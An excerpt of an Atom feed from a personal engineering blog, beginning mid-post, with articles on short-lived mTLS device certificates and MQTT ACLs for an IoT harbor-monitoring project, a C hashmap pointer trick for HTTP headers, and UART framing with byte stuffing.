signed sticker” to “operator scans a lookup key, board proves
itself at PB-ADV.” The cryptographic property that actually matters
— that a stranger can’t pretend to be your sensor — is unchanged.
What I removed was security theatre I’d built around the wrong
boundary.</p>

<p>I keep thinking about how much code that misplacement cost: a CBOR
library, a base45 library, an Ed25519 keypair, a key-management
script, 53 lines of signing code, and 14 QR versions of sticker
real estate. All to protect a value the backend was about to look
up anyway.</p>]]></content><author><name>Elliot Steffensen</name><email>elliot@steffensens.io</email></author><category term="iot" /><category term="qr" /><category term="ble-mesh" /><category term="dockpulse" /><summary type="html"><![CDATA[How the DockPulse adoption QR went from a COSE_Sign1 Ed25519 claim at version 17 down to plain SERIAL:HEX at version 3. The smaller QR was a side effect — the actual fix was that the signature was in the wrong place.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://steffensens.io/og/authentication-not-on-the-sticker.png" /><media:content medium="image" url="https://steffensens.io/og/authentication-not-on-the-sticker.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">No CRL, just 90-day device certs</title><link href="https://steffensens.io/blog/2026/no-crl-just-short-device-certs/" rel="alternate" type="text/html" title="No CRL, just 90-day device certs" /><published>2026-05-04T00:00:00+02:00</published><updated>2026-05-04T00:00:00+02:00</updated><id>https://steffensens.io/blog/2026/no-crl-just-short-device-certs</id><content type="html" xml:base="https://steffensens.io/blog/2026/no-crl-just-short-device-certs/"><![CDATA[<p>DockPulse is a harbor berth monitoring system I worked on this
semester. The IoT side is a fleet of solar-powered ESP32 sensors and
mains-powered gateways talking to a mosquitto broker over mTLS. The
question I had to answer early: how do certs get issued, rotated, and
revoked when something goes wrong?</p>

<p>The setup I landed on:</p>

<ul>
  <li>Service CA — backend services and dev publishers. Long-lived certs,
825 days.</li>
  <li>Device CA — per-gateway and per-sensor certs. Short-lived, 90 days.</li>
  <li>mosquitto trusts the <em>bundle</em> (<code class="language-plaintext highlighter-rouge">cat service-ca/ca.crt device-ca/ca.crt &gt; ca-bundle.crt</code>).</li>
  <li>No CRL, no OCSP stapling, no revocation infrastructure.</li>
</ul>

<p>The interesting decision is the last one.</p>

<h2 id="two-parallel-cas-not-one">Two parallel CAs, not one</h2>

<p>The naive setup is one CA that signs everything. Works, but tangles
two very different fleets:</p>

<ul>
  <li><strong>Services</strong> are stable. Backend pods, dev publishers, the
occasional load-test client. They get rotated when someone
remembers to, which is rarely. Long-lived certs are fine because
the operator (me) holds the broker config and can update
CN-to-identity mappings when a cert reissues.</li>
  <li><strong>Devices</strong> are unstable. Sensors fall in the water. Gateways get
flashed by the wrong person. The keys live on ESP32 flash, not an
HSM, so any device cert is one bad reflow away from compromise.</li>
</ul>

<p>Different threat profile, different rotation cadence. Two parallel
CAs let me tune lifetimes independently and assign blame: a leaked
service key is an <em>operator</em> problem, a leaked device key is a <em>fleet</em>
problem. mosquitto doesn’t care which CA signed a leaf — with
<code class="language-plaintext highlighter-rouge">require_certificate true</code> and a CA bundle file, it trusts both:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cafile /mosquitto/certs/ca-bundle.crt
require_certificate true
use_identity_as_username true
tls_version tlsv1.2
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">use_identity_as_username true</code> is what makes the CN matter — the
cert’s CN becomes the MQTT username for ACL purposes.</p>

<h2 id="90-day-device-certs-as-poor-mans-revocation">90-day device certs as poor-man’s revocation</h2>

<p>The honest reason for short-lived device certs: I didn’t want to
operate a CRL.</p>

<p>A proper revocation story for a small fleet looks like:</p>

<ol>
  <li>Run a CRL distribution point.</li>
  <li>Configure every broker to fetch and refresh the CRL.</li>
  <li>When a device is compromised, add its serial to the CRL.</li>
  <li>Wait for every broker to refresh.</li>
  <li>Hope no client is caching a stale CRL.</li>
</ol>

<p>For a school project with under twenty devices, that’s a lot of
infrastructure. The web has dealt with the same problem by switching
to short certs and assuming clients will just wait for expiry. Let’s
Encrypt issues 90 days; the same window happens to match what Apple
App Transport Security recommends.</p>

<p>So device certs get 90 days, and “revocation” means “stop trusting
this CN at the ACL level until the cert expires.” Worst case: 90
days of a bad key being valid. Acceptable when the broker isn’t
routable from the public internet.</p>

<p>In <code class="language-plaintext highlighter-rouge">tools/gen_certs.sh</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">DAYS_LEAF</span><span class="o">=</span>825      <span class="c"># service clients</span>
<span class="nv">DAYS_DEVICE</span><span class="o">=</span>90     <span class="c"># devices; matches LE cadence so we never need a CRL</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">device &lt;node-id&gt;</code> subcommand rotates by default — running it on
the same id deletes the prior cert and issues a fresh one. ESP-IDF
embeds the cert and key into the firmware image at compile time:</p>

<div class="language-cmake highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">target_add_binary_data</span><span class="p">(</span><span class="si">${</span><span class="nv">COMPONENT_LIB</span><span class="si">}</span> <span class="s2">"</span><span class="si">${</span><span class="nv">_dp_cert</span><span class="si">}</span><span class="s2">"</span> TEXT<span class="p">)</span>
<span class="nf">target_add_binary_data</span><span class="p">(</span><span class="si">${</span><span class="nv">COMPONENT_LIB</span><span class="si">}</span> <span class="s2">"</span><span class="si">${</span><span class="nv">_dp_key</span><span class="si">}</span><span class="s2">"</span>  TEXT<span class="p">)</span>
</code></pre></div></div>

<p>Rotation = reissue + reflash. Same node-id, new cert. The broker
recognizes the CN, the ACL still binds.</p>

<h2 id="the-acl-hole-i-left">The ACL hole I left</h2>

<p>The ACL uses <code class="language-plaintext highlighter-rouge">%u</code> (the username, which is the cert CN) to bind topics
to the connected client:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pattern read   dockpulse/v1/gw/%u/provision/req
pattern write  dockpulse/v1/gw/%u/provision/resp
</code></pre></div></div>

<p>A gateway with CN <code class="language-plaintext highlighter-rouge">gw-001</code> can only read its own <code class="language-plaintext highlighter-rouge">/provision/req</code>
and write its own <code class="language-plaintext highlighter-rouge">/provision/resp</code>. Clean isolation between
gateways at the broker level.</p>

<p>What I couldn’t bind that way: berth telemetry. The topic shape is</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>harbor/{harbor_id}/{dock_id}/{berth_id}/status
</code></pre></div></div>

<p>no publisher id segment. The contract was set before I touched the
broker config, and changing it would have rippled across the backend,
the iOS prototype, and the visualization frontend.</p>

<p>So the ACL on telemetry is loose:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Any device-CA client can publish; backend validates node_id in
# the payload.
pattern write  harbor/+/+/+/status
pattern write  harbor/+/+/+/heartbeat
</code></pre></div></div>

<p>A compromised device can publish telemetry as if it were any other
berth. The backend cross-checks <code class="language-plaintext highlighter-rouge">node_id</code> in the JSON against the
adoption table, so a fraudulent publish gets dropped — but at the
broker level there’s nothing stopping it.</p>

<p>The honest cost of inheriting a topic schema. If I’d designed the
contract from scratch every topic would include the publisher id
segment. As built, the broker is a soft boundary and the backend is
the hard one.</p>

<h2 id="when-this-isnt-enough">When this isn’t enough</h2>

<p>Two-CA-plus-short-device-certs holds up for a small private fleet.
What I’d add if the project grew:</p>

<ul>
  <li>An actual CA hierarchy: offline root, online intermediate. Currently
both CAs are self-signed roots — fine for trust but the root keys
live on the same machine that signs leaves.</li>
  <li>A CRL distribution point or OCSP stapling, so revocation doesn’t
depend on someone reflashing a device.</li>
  <li>A topic schema with the publisher id baked in. The current ACL hole
on telemetry is the single thing I’d push back on if I were
starting over.</li>
</ul>

<p>None of which I needed for twenty sensors and a graded deadline.</p>]]></content><author><name>Elliot Steffensen</name><email>elliot@steffensens.io</email></author><category term="pki" /><category term="mqtt" /><category term="iot" /><category term="mtls" /><summary type="html"><![CDATA[How DockPulse runs two parallel root CAs for an MQTT bus, and why short-lived device certs let me skip the revocation problem entirely.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://steffensens.io/og/no-crl-just-short-device-certs.png" /><media:content medium="image" url="https://steffensens.io/og/no-crl-just-short-device-certs.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The hashmap header lives at `entries[-1]`</title><link href="https://steffensens.io/blog/2026/hashmap-header-trick/" rel="alternate" type="text/html" title="The hashmap header lives at `entries[-1]`" /><published>2026-03-04T00:00:00+01:00</published><updated>2026-03-04T00:00:00+01:00</updated><id>https://steffensens.io/blog/2026/hashmap-header-trick</id><content type="html" xml:base="https://steffensens.io/blog/2026/hashmap-header-trick/"><![CDATA[<p>HTTP headers want a case-insensitive map. <code class="language-plaintext highlighter-rouge">Content-Type</code> and
<code class="language-plaintext highlighter-rouge">content-type</code> are the same header per RFC 9110 §5.1, so any reasonable
implementation lower-cases on hash and <code class="language-plaintext highlighter-rouge">strcasecmp</code> on collision.
Standard stuff.</p>

<p>What I wanted from the public API was something terser than a struct.
Callers shouldn’t have to keep two pointers (<code class="language-plaintext highlighter-rouge">map</code> and <code class="language-plaintext highlighter-rouge">entries</code>)
threaded everywhere — they should have one opaque handle. So the
public type in <a href="https://github.com/xishell/lwhttp"><code class="language-plaintext highlighter-rouge">lwhttp</code></a> is just
<code class="language-plaintext highlighter-rouge">Entry *</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span>   <span class="nf">hm_set</span><span class="p">(</span><span class="n">Entry</span> <span class="o">**</span><span class="n">entries</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">value</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span><span class="nf">hm_get</span><span class="p">(</span><span class="n">Entry</span> <span class="o">*</span><span class="n">entries</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">);</span>
<span class="kt">int</span>   <span class="nf">hm_delete</span><span class="p">(</span><span class="n">Entry</span> <span class="o">*</span><span class="n">entries</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">);</span>
<span class="kt">void</span>  <span class="nf">hm_destroy</span><span class="p">(</span><span class="n">Entry</span> <span class="o">*</span><span class="n">entries</span><span class="p">);</span>
</code></pre></div></div>

<p>No <code class="language-plaintext highlighter-rouge">Map</code> struct. One pointer to the entries array. So where does the
capacity live?</p>

<h2 id="at-entries-1">At <code class="language-plaintext highlighter-rouge">entries[-1]</code></h2>

<p>The trick: allocate a <code class="language-plaintext highlighter-rouge">Header</code> struct <em>immediately before</em> the entries
array in the same <code class="language-plaintext highlighter-rouge">malloc</code> call, and return a pointer to the entries.
The caller never sees the header. The implementation walks one slot
backwards to find it.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="p">{</span>
    <span class="kt">size_t</span> <span class="n">count</span><span class="p">;</span>
    <span class="kt">size_t</span> <span class="n">capacity</span><span class="p">;</span>
<span class="p">}</span> <span class="n">Header</span><span class="p">;</span>

<span class="k">static</span> <span class="n">Entry</span> <span class="o">*</span><span class="nf">hm_alloc</span><span class="p">(</span><span class="kt">size_t</span> <span class="n">capacity</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Header</span> <span class="o">*</span><span class="n">header</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Header</span><span class="p">)</span> <span class="o">+</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Entry</span><span class="p">)</span> <span class="o">*</span> <span class="n">capacity</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">header</span><span class="p">)</span> <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
    <span class="n">header</span><span class="o">-&gt;</span><span class="n">capacity</span> <span class="o">=</span> <span class="n">capacity</span><span class="p">;</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">Entry</span> <span class="o">*</span><span class="p">)(</span><span class="n">header</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>   <span class="c1">// hand out the entries pointer</span>
<span class="p">}</span>

<span class="k">static</span> <span class="n">Header</span> <span class="o">*</span><span class="nf">hm_header</span><span class="p">(</span><span class="n">Entry</span> <span class="o">*</span><span class="n">entries</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span> <span class="p">(</span><span class="n">Header</span> <span class="o">*</span><span class="p">)</span><span class="n">entries</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">(Header *)entries - 1</code> is the pointer arithmetic that recovers the
header: cast the entries pointer to <code class="language-plaintext highlighter-rouge">Header *</code>, then back up by one
<code class="language-plaintext highlighter-rouge">Header</code>. That’s exactly where <code class="language-plaintext highlighter-rouge">hm_alloc</code> placed it.</p>

<p>When the map needs to grow, <code class="language-plaintext highlighter-rouge">realloc</code> won’t work directly because the
caller holds the entries pointer and we’d need to update it through
the double pointer:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">hm_set</span><span class="p">(</span><span class="n">Entry</span> <span class="o">**</span><span class="n">entries</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">value</span><span class="p">)</span> <span class="p">{</span>
    <span class="p">...</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">header</span><span class="o">-&gt;</span><span class="n">count</span> <span class="o">*</span> <span class="mi">4</span> <span class="o">&gt;=</span> <span class="n">header</span><span class="o">-&gt;</span><span class="n">capacity</span> <span class="o">*</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">hm_resize</span><span class="p">(</span><span class="n">entries</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
        <span class="n">header</span> <span class="o">=</span> <span class="n">hm_header</span><span class="p">(</span><span class="o">*</span><span class="n">entries</span><span class="p">);</span>  <span class="c1">// re-fetch after resize</span>
    <span class="p">}</span>
    <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hm_set</code> takes <code class="language-plaintext highlighter-rouge">Entry **</code> so it can swap the pointer on resize; the
other functions take <code class="language-plaintext highlighter-rouge">Entry *</code> because they don’t move the array.</p>

<h2 id="why-bother">Why bother</h2>

<p>For a struct-based map, the caller writes:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Map</span> <span class="o">*</span><span class="n">map</span> <span class="o">=</span> <span class="n">map_new</span><span class="p">();</span>
<span class="n">map_set</span><span class="p">(</span><span class="n">map</span><span class="p">,</span> <span class="s">"Content-Type"</span><span class="p">,</span> <span class="s">"application/json"</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">t</span> <span class="o">=</span> <span class="n">map_get</span><span class="p">(</span><span class="n">map</span><span class="p">,</span> <span class="s">"Content-Type"</span><span class="p">);</span>
</code></pre></div></div>

<p>For this one:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Entry</span> <span class="o">*</span><span class="n">headers</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">hm_set</span><span class="p">(</span><span class="o">&amp;</span><span class="n">headers</span><span class="p">,</span> <span class="s">"Content-Type"</span><span class="p">,</span> <span class="s">"application/json"</span><span class="p">);</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">t</span> <span class="o">=</span> <span class="n">hm_get</span><span class="p">(</span><span class="n">headers</span><span class="p">,</span> <span class="s">"Content-Type"</span><span class="p">);</span>
</code></pre></div></div>

<p>The handle has the same arity, but the type <em>is</em> the entries — there’s
no opaque wrapper. For a library where the map is conceptually a header
table, that reads cleaner: <code class="language-plaintext highlighter-rouge">request-&gt;headers</code> is <code class="language-plaintext highlighter-rouge">Entry *</code>, and you
pass it around as-is.</p>

<p>The cost is the resize ergonomics — <code class="language-plaintext highlighter-rouge">hm_set</code> needs the double pointer.
You eat that once in the call site.</p>

<h2 id="tombstones-not-free-on-delete">Tombstones, not free-on-delete</h2>

<p>Open-addressing maps with linear probing can’t just mark a slot
<code class="language-plaintext highlighter-rouge">EMPTY</code> on delete, because the probe chain would terminate early when
searching for a key that lived past the deleted slot. The fix is a
third state, <code class="language-plaintext highlighter-rouge">DELETED</code>, that lookups skip and inserts can overwrite:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">enum</span> <span class="n">slot_state</span> <span class="p">{</span> <span class="n">EMPTY</span><span class="p">,</span> <span class="n">OCCUPIED</span><span class="p">,</span> <span class="n">DELETED</span> <span class="p">};</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">hm_get</code> stops at <code class="language-plaintext highlighter-rouge">EMPTY</code> but continues past <code class="language-plaintext highlighter-rouge">DELETED</code>. <code class="language-plaintext highlighter-rouge">hm_set</code>
reuses the first <code class="language-plaintext highlighter-rouge">DELETED</code> slot it sees on the probe chain, but only
<em>after</em> it’s confirmed the key isn’t already present further down.
That confirm step is the trap: if you write to the tombstone too
eagerly, you can end up with two entries for the same key.</p>

<p>The probe loop in <code class="language-plaintext highlighter-rouge">hm_set</code> handles it like this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="p">(</span><span class="kt">size_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">header</span><span class="o">-&gt;</span><span class="n">capacity</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Entry</span> <span class="o">*</span><span class="n">e</span> <span class="o">=</span> <span class="o">&amp;</span><span class="p">(</span><span class="o">*</span><span class="n">entries</span><span class="p">)[</span><span class="n">idx</span><span class="p">];</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">e</span><span class="o">-&gt;</span><span class="n">state</span> <span class="o">==</span> <span class="n">EMPTY</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">first_insertable</span> <span class="o">==</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="n">first_insertable</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span>
        <span class="k">break</span><span class="p">;</span>  <span class="c1">// chain ends here, key definitely absent</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">e</span><span class="o">-&gt;</span><span class="n">state</span> <span class="o">==</span> <span class="n">DELETED</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">first_insertable</span> <span class="o">==</span> <span class="p">(</span><span class="kt">size_t</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="n">first_insertable</span> <span class="o">=</span> <span class="n">idx</span><span class="p">;</span>
    <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">strcasecmp</span><span class="p">(</span><span class="n">e</span><span class="o">-&gt;</span><span class="n">key</span><span class="p">,</span> <span class="n">key</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
        <span class="c1">// overwrite existing</span>
    <span class="p">}</span>
    <span class="n">idx</span> <span class="o">=</span> <span class="p">(</span><span class="n">idx</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">header</span><span class="o">-&gt;</span><span class="n">capacity</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Track the first usable slot, keep probing past it until either the key
shows up or the chain ends. Only then commit the write.</p>

<h2 id="hash-and-load-factor">Hash and load factor</h2>

<p>FNV-1a over the lowercased key, mask with <code class="language-plaintext highlighter-rouge">(capacity - 1)</code> because
capacity is always a power of two. Resize at 3/4 full. Nothing exotic:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">uint64_t</span> <span class="nf">hm_hash</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">key</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">uint64_t</span> <span class="n">hash</span> <span class="o">=</span> <span class="mh">0xcbf29ce484222325ULL</span><span class="p">;</span>
    <span class="k">for</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">key</span><span class="p">;</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span> <span class="n">p</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">hash</span> <span class="o">^=</span> <span class="p">(</span><span class="kt">uint8_t</span><span class="p">)</span><span class="n">tolower</span><span class="p">(</span><span class="o">*</span><span class="n">p</span><span class="p">);</span>
        <span class="n">hash</span> <span class="o">*=</span> <span class="mh">0x100000001b3ULL</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="n">hash</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The lowercase happens during hashing so two-spellings of the same
header always hash to the same bucket. Collision check still uses
<code class="language-plaintext highlighter-rouge">strcasecmp</code> because the keys are stored in whatever case the caller
inserted with — I didn’t want to lose the original capitalization
when iterating.</p>

<h2 id="when-this-is-the-wrong-choice">When this is the wrong choice</h2>

<p>The header-behind-entries trick is fun, but for a general-purpose
hashmap I wouldn’t reach for it. Reasons:</p>

<ul>
  <li>The handle’s type leaks the implementation (<code class="language-plaintext highlighter-rouge">Entry *</code> says “open
addressing”). A struct-based handle keeps the layout private.</li>
  <li>Generic key/value types are easier behind a struct.</li>
  <li>Debugging is slightly worse because gdb won’t auto-pretty-print the
header sitting at a negative offset.</li>
</ul>

<p>For HTTP headers specifically — small map, fixed key/value types,
caller already thinks of “the headers” as a unit — it fits.</p>]]></content><author><name>Elliot Steffensen</name><email>elliot@steffensens.io</email></author><category term="c" /><category term="data-structures" /><category term="http" /><category term="lwhttp" /><summary type="html"><![CDATA[A C pointer trick from lwhttp's header map. The public type is Entry*, but the capacity and count live at entries[-1].]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://steffensens.io/og/hashmap-header-trick.png" /><media:content medium="image" url="https://steffensens.io/og/hashmap-header-trick.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Byte stuffing won’t save you from a missed SYNC</title><link href="https://steffensens.io/blog/2025/byte-stuffing-uart-framing/" rel="alternate" type="text/html" title="Byte stuffing won’t save you from a missed SYNC" /><published>2025-10-12T00:00:00+02:00</published><updated>2025-10-12T00:00:00+02:00</updated><id>https://steffensens.io/blog/2025/byte-stuffing-uart-framing</id><content type="html" xml:base="https://steffensens.io/blog/2025/byte-stuffing-uart-framing/"><![CDATA[<p>The crypt-chat protocol uses a two-byte SYNC (<code class="language-plaintext highlighter-rouge">0xAA 0xAA</code>) followed by
a length byte and a stuffed payload. I picked <code class="language-plaintext highlighter-rouge">0xAA</code> because it’s
alternating bits in binary — easy to recognize on a scope and unlikely
to appear by accident in ASCII.</p>

<p>The framer’s job is small: walk the UART RX ring, find SYNC, read the
length, read that many bytes, check CRC16-CCITT, deliver. The first
version had no timeout. The first version also locked up the receiver
the first time anything went wrong on the wire.</p>

<h2 id="what-broke">What broke</h2>

<p>When a single bit flipped inside the SYNC pattern, the framer
half-matched: it saw one <code class="language-plaintext highlighter-rouge">0xAA</code>, the next byte didn’t match, so it
restarted the search from the byte after the failed match. So far so
good. But when the <em>next</em> <code class="language-plaintext highlighter-rouge">0xAA</code> arrived followed by garbage that
happened to look like a plausible length (say <code class="language-plaintext highlighter-rouge">0x07</code>), the framer
committed: now it was waiting for seven bytes that were never coming,
because the real next frame was somewhere downstream.</p>

<p>No external signal said “this frame is dead.” The state machine just
sat there, indefinitely, with the RX ring filling up behind it.</p>

<h2 id="the-fix-is-the-usual-one">The fix is the usual one</h2>

<p>A per-frame timeout. About one second, conservatively. Long enough that
a slow sender on a busy link doesn’t get dropped, short enough that a
single dropped byte doesn’t deadlock the receiver for the entire run.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// in the framer, between byte reads</span>
<span class="k">if</span> <span class="p">(</span><span class="n">now_ms</span><span class="p">()</span> <span class="o">-</span> <span class="n">frame_start_ms</span> <span class="o">&gt;</span> <span class="n">FRAME_TIMEOUT_MS</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">state</span> <span class="o">=</span> <span class="n">LOOKING_FOR_SYNC</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Once that landed, the framer recovered from any single corruption
within one timeout window. Cheap.</p>

<h2 id="stuffing-and-the-bytes-i-forgot-to-stuff">Stuffing, and the bytes I forgot to stuff</h2>

<p>Two reserved bytes:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xAA → 0xAB 0x00
0xAB → 0xAB 0x01
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">0xAA</code> is the SYNC marker, <code class="language-plaintext highlighter-rouge">0xAB</code> is the escape. Any payload byte that
would otherwise look like one of those gets expanded. The parser
unstuffs on the fly while it walks the frame.</p>

<p>What I almost shipped: stuffing only the message bytes, not the CRC.
The CRC is computed over <code class="language-plaintext highlighter-rouge">USER_ID + MESSAGE</code>, then appended as two
bytes. If those two bytes happened to contain <code class="language-plaintext highlighter-rouge">0xAA</code> — and CRC bytes
are uniformly distributed, so this happens about 1 in 128 frames — the
SYNC marker would appear in the middle of the frame, and the next
frame’s parse would start in the wrong place.</p>

<p>CRC bytes go through the stuffer too. Obvious in retrospect, missed it
the first time.</p>

<h2 id="rx-is-interrupt-driven-framer-isnt">RX is interrupt-driven, framer isn’t</h2>

<p>The bit-banged UART has no hardware support, so RX is interrupt-driven:
a falling edge on the RX pin fires the ISR, the ISR samples mid-bit at
<code class="language-plaintext highlighter-rouge">1/baud + 0.5/baud</code> intervals, and the assembled byte goes into a ring
buffer. The main loop drains the ring into the framer.</p>

<p>The thing that surprised me: with the ISR handling per-bit sampling,
the framer itself can be as slow as it wants. The hard real-time
constraint lives entirely inside the ISR, where missing a sample by a
few microseconds gives you a wrong byte. Everything downstream of the
ring buffer is soft real-time and that simplified the whole design.</p>

<h2 id="what-id-change-next-time">What I’d change next time</h2>

<p>If I do framing over a less polite physical layer:</p>

<ul>
  <li>Use a longer SYNC. Two bytes is enough on a clean cable. On a shared
or noisy line, four is cheap insurance.</li>
  <li>Stuff the length byte too. Currently <code class="language-plaintext highlighter-rouge">LEN</code> is the count of unstuffed
bytes, which is what the application wants, but means the framer
reads “post-stuffing length minus stuffing escapes” — easy to
misread.</li>
  <li>Add a sequence number. Without one, a retransmit is
indistinguishable from a deliberate duplicate.</li>
</ul>

<p>The chat runs over a clean UART so none of those matter today. They’re
notes for the next physical layer that isn’t polite.</p>]]></content><author><name>Elliot Steffensen</name><email>elliot@steffensens.io</email></author><category term="embedded" /><category term="riscv" /><category term="uart" /><category term="crypt-chat" /><summary type="html"><![CDATA[Notes from the crypt-chat framer on a bit-banged RISC-V UART. Why the framer needed a per-frame timeout, and what I almost forgot to stuff.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://steffensens.io/og/byte-stuffing-uart-framing.png" /><media:content medium="image" url="https://steffensens.io/og/byte-stuffing-uart-framing.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>